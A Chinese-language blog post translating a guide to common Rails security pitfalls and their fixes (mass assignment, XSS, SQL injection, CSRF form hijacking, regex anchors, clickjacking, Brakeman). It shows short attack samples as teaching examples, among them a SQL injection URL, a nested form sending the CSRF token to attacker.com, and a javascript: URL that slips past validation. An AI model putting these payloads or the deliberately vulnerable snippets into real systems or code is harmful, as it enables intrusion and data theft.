Rails 常見資安陷阱與解決方法

正在找裝備的鐵道工人
Join to follow...
Follow/Unfollow Writer: 正在找裝備的鐵道工人
By following, you’ll receive notifications when this author publishes new articles.
Don't wait! Sign up to follow this writer.
WriterShelf is a privacy-oriented writing platform. Unleash the power of your voice. It's free!
Sign up. Join WriterShelf now! Already a member. Login to WriterShelf.
Rails 初學者
661   1   1  
·
2018/05/16
·
9 mins read


俗話說沒有安全就沒有一切,若在網站開發的同時能多注意資訊安全,日後可大幅降低補救資安漏洞所造成的維護成本。這篇是我初學Rails找到與資訊安全常見問題與解決方法,原文作者Ilya Bodrov,篇名為Common Rails Security Pitfalls and Their Solutions,希望對入門者有所幫助。若有錯誤請不吝指正。

Rails框架已經盡力做到資訊安全,然而依照官方文件所述,沒有所謂「隨插即用的資訊安全」,這篇文章討論其中幾個資安議題與保護步驟。

本篇涵蓋主題包括:

  • 大量賦值(Mass assignment)
  • 跨網站腳本攻擊(XSS attacks)
  • 執行任意程式碼(Executing arbitrary code)
  • SQL資料隱碼攻擊(SQL injections)
  • 表單劫奪(Form hijacking)
  • 揭露私密token(Revealing private tokens)
  • 紀錄私密資料(Logging private data)
  • 透過HTTP傳送機密資料(Sending Sensitive Data via HTTP)
  • 上傳可執行檔案
  • 正則表達式(Regular Expressions)
  • 透過IFrame內嵌網站
  • 使用Brakeman進行常見資安問題掃描
大量賦值(Mass assignment)

這大概是最常見的資安陷阱。大量賦值問題在於駭客嘗試一次更新資料庫多個欄位,其中包含了不應變更的欄位。

例如一個可以編輯使用者資料的表單如下:

<%= form_for @user do |f| %>
<%= f.label :name %>
<%= f.text_field :name %>
<%= f.label :surname %>
<%= f.text_field :surname %>
<%= f.submit %>
<% end %>

然後controller更新動作如下:

def update
@user = User.find(params[:id])
if @user.update_attributes(params[:user])
redirect_to some_path
else
render :edit
end
end

看來好像沒甚麼問題,但實際上卻隱藏資安漏洞。如果users資料表包含admin欄位,駭客只要手動加入隱藏欄位像這樣:

 <input type="hidden" name="user[admin]" value="true">

從此駭客就擁有admin權限了。Rails4以後引入strong parameters以便指定那些欄位允許變動:

def update
@user = User.find(params[:id])
if @user.update_attributes(user_params)
redirect_to some_path
else
render :edit
end
end

private
def user_params
params.require(:user).permit(:name, :surname)
end

從此就只有name和surname欄位資料可以被變動。

跨網站腳本攻擊(XSS attacks)

除非你的網站是只有內部少數人在使用,否則別相信使用者送出的資料。自從Rails3版本以後,除非使用html_safe方法,否則在views回傳的字串資料皆會escape處理過。使用html_safe方法要很小心:

# your controller
@blog_post = current_user.blog_posts.find_by(id: params[:id])

# your view
<%= @blog_post.body.html_safe %>

如果你的網頁允許使用者張貼文章,駭客可能會嘗試插入JavaScript在文章裡面隨者其他腳本一起執行,可能只是顯示一些alert訊息視窗,或惡意竊取使用者密碼等等。

所以絕對不要使用html_safe方法顯示使用者輸入的資料,改用sanitize方法指定可使用的標籤,通常是b或i:

<%= sanitize(@blog_post.body, tags: %w(b strong em i)).html_safe %>

有個Sanitize gem提供更多進階使用方式以解決此問題。

執行任意程式碼(Executing arbitrary code)

在使用如ActiveSupport::Inflector模組或eval方法,立即執行使用者輸入的程式碼時要十分小心。例如以下這段永遠不該出現的程式碼

eval(params[:id])

如果真的有需要執行使用者輸入的程式碼,一定要使用白名單驗證使用者輸入的資料。

SQL資料隱碼攻擊(SQL injections)

SQL資料隱碼攻擊指的是存取或改變未經授權機密資料,一般而言Rails開發者不必擔心這種攻擊,例如以下的程式碼,預設已經被移除惡意程式碼:

@user = User.find_by(id: params[:id])

但是如果是下面的寫法是絕對應該要避免的:

@user = User.where("id = '#{params[:id]}'")

駭客可能會用下面的連結取得所有使用者的資料:

http://yoursite.com/user?id=' OR 1 -

要避免這一類的攻擊,可以使用?符號進行複雜查詢:

@user = User.where("id = ?", params[:id])

上面的例子使用者輸入的惡意資料已被移除。關於查詢還有更簡單的寫法,例如下面的例子:

@user = User.where("id = ? OR name = ?", params[:id], params[:name])

可以改寫為:

@user = User.where(id: params[:id]).or(where(name: params[:name]))
表單劫奪(Form hijacking)

Rails5版本以後在網頁每個表單增加了單獨的token以避免受到跨網站請求攻擊。下面的例子是駭客修改了原來表單後的樣子:

<form method="post" action="//attacker.com/tokens">
<form method="post" action="/legit_action">
<input type="hidden" name="authenticity_token" value="thetoken">
</form>

HTML並不允許巢狀form標籤,因此表單送出之後表單的token將會傳送到駭客惡意的網站。如果從Rails5以前的版本移轉到新版,要確定已在config/initializers/new_framework_defaults.rb檔案內,將Rails.application.config.action_controller.per_form_csrf_tokens設為true。

揭露私密token(Revealing private tokens)

你的網站應用程式可能包含第三方API,小心這些token不應該被公開暴露,例如傳送到GitHub上。最簡單的處理方式是使用像dotenv-rails gem,將這些token存放在環境變數內。有了dotenv-rails你可以建立一個不受版控.env檔案,在.gitignore檔案加入:

.env

然後在.env檔案存放你的token:

TWITTER_KEY=123
TWITTER_SECRET=456

在正式環境下,這些變數通常存放在伺服器的config檔案,例如雲端伺服器Heroku使用下列指令:

$ heroku config:add TWITTER_KEY=123 TWITTER_SECRET=456

在Rails4版本已在config/secrets.yml檔案內,將正式環境的token指定給ENV變數:

production:
secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>

另外不要把secret_key_base的值設太簡單,可以使用rails secret產生較複雜的值。

記錄機密資料(Logging private data)

Rails有個不錯的功能,可以幫你記錄所有網頁互動資料,壞處是連機密資料也一併記錄。這樣一來任何接觸伺服器的人都有機會可以看到這些資料,例如密碼、信用卡等等。

在config/initializers/filter_parameter_logging.rb檔案內,預設的設定是這樣:

Rails.application.config.filter_parameters += [:password]

記得如果還有其他機密資料時,也要一併更新這個檔案。這個檔案裡面的符號將自動轉換為正則表達式(Regular Expression),所以任何欄位包含password在寫入log時將會被[FILTERED]取代。

透過HTTP傳送機密資料(Sending Sensitive Data via HTTP)

不要透過HTTP傳送未加密的敏感資料。例如有一個很簡單的身分驗證如下:

class SomeController < ApplicationController
before_action :authenticate!

private
def authenticate!
authenticate_or_request_with_http_basic do |id, password|
name == 'admin' && password == '12345'
end
end
end

使用者名稱和密碼很容易透過類似Wireshark工具被駭客監聽,你應該在controller強制使用SSL:

class SomeController < ApplicationController
force_ssl
before_action :authenticate!
#...
end

force_ssl方法可以配合if和unless選項設定條件。也可以設定在config/application.rb檔案內,強迫整個網站應用程式都必須使用SSL:

config.force_ssl = true
上傳可執行檔案

許多網站允許使用者上傳自己的影像和文字檔,切記一定要檢查檔案大小並檢查檔案內容是否為可執行檔或腳本。

駭客可能傳送惡意檔案到你的伺服器並自動執行,例如駭客可能把檔案傳送到伺服器的公共目錄並將它設定為Apache的根目錄。

有一些常用解決方法在上傳時驗證檔案,例如Paperclip, Carrierwave, Dragonfly

正則表達式(Regular Expressions)

通常Ruby的新手會把正則表達式的^和$當作字串的開頭和結尾。實際上應該是一列的頭和尾,不是整個字串的頭和尾。假設你有一個存放URL的欄位在資料表的website欄位裡面,有個view可以顯示使用者輸入的URL連結,看起來像這樣:

link_to "User's website", @user.website

把要驗證使用者輸入的URL,寫成下面這個樣子並不安全:

/^https?:\/\/[^\n]+$/i

駭客可能把URL寫成這個樣子:

javascript:some_bad_code();/*
http://anything.com
*/

如果這一串URL存放在資料庫的website欄位裡面,將會使得點選超連結的使用者執行駭客的惡意程式碼。要避免這種攻擊手法,可以把正則表達式的^和$改成\A和\z:

/\Ahttps?:\/\/[^\n]+\z/i

新版Rails為了避免此類錯誤,如果在格式驗證(validates :some_column, format: {...})使用正則表達式的^和$,將會觸發錯誤,如果執意要用,可以將選項multipart設為true。

 另外一點,Rubular網站提供線上正則表達式編輯器。

透過IFrame內嵌網站

在HTML裡面可以透過iframe標籤把其他資源包含進來:

<iframe src="http://your-resource.com">

假設你有一個變更密碼網頁,包含2個欄位(變更後密碼和再次確認變更後密碼)和1個送出按鈕。駭客可能假造一個「贏取iphone」網頁,上面有2個欄位和1個送出按鈕,然後內嵌你的變更密碼網頁,但是把不透明度設為0,要求使用者在2個欄位輸入「I want iPhone!!」並按下送出按鈕,然後駭客告訴使用者你輸入的資料都是被隱藏看不到的。

結果使用者以為他是在「贏取iphone」網頁輸入資料,實際上是在你的網頁變更密碼,改變後的密碼是「I want iPhone!!」

通常這種攻擊手法不易成功,因為使用者看不到輸入的資料會起疑心,而且還要在沒有登出你的網站情況下,並保持session仍為連線狀態。

新版的Rails在檔案config/application.rb預設已經加入下列設定,以避免這類攻擊:

config.action_dispatch.default_headers = {
'X-Frame-Options' => 'SAMEORIGIN'
}

如此只有自己的網站下的網頁可以使用iframe,別人不行。

使用Brakeman進行資安問題掃描

Brakeman gem可以幫忙掃描網站是否存在常見嚴重的資安問題,在Gemfile加入下列幾行:

group :development do
gem 'brakeman', require: false
end

執行安裝:

$ bundle install

然後可以用brakeman指令執行掃描,例如把掃描結果輸出成html檔案:

$ brakeman -o output.html

Brakeman將每個弱點分成高中低等級標籤,不過這個工具並不能找出所有潛在問題,不應只依賴輸出的報表。

結論

這篇文章還有許多沒涵蓋到的資安問題未討論,建議在正式環境上線前閱讀過官方安全指引,善用Brakeman幫助你找出可能的弱點。


WriterShelf™ is a unique multiple pen name blogging and forum platform. Protect relationships and your privacy. Take your writing in new directions. ** Join WriterShelf**
WriterShelf™ is an open writing platform. The views, information and opinions in this article are those of the author.


Article info

This article is part of:
Categories:
Tags:
Total: 2471 words


Share this article:



Comments
紅寶鐵軌客
1
Join to follow...
Follow/Unfollow Writer: 紅寶鐵軌客
By following, you’ll receive notifications when this author publishes new articles.
Don't wait! Sign up to follow this writer.
WriterShelf is a privacy-oriented writing platform. Unleash the power of your voice. It's free!
Sign up. Join WriterShelf now! Already a member. Login to WriterShelf.
寫程式中、折磨中、享受中 ......
2018/05/17

我也愛用 Rails,謝謝好文,很有幫助!

Join the discussion now!
Don't wait! Sign up to join the discussion.
WriterShelf is a privacy-oriented writing platform. Unleash the power of your voice. It's free!
Sign up. Join WriterShelf now! Already a member. Login to WriterShelf.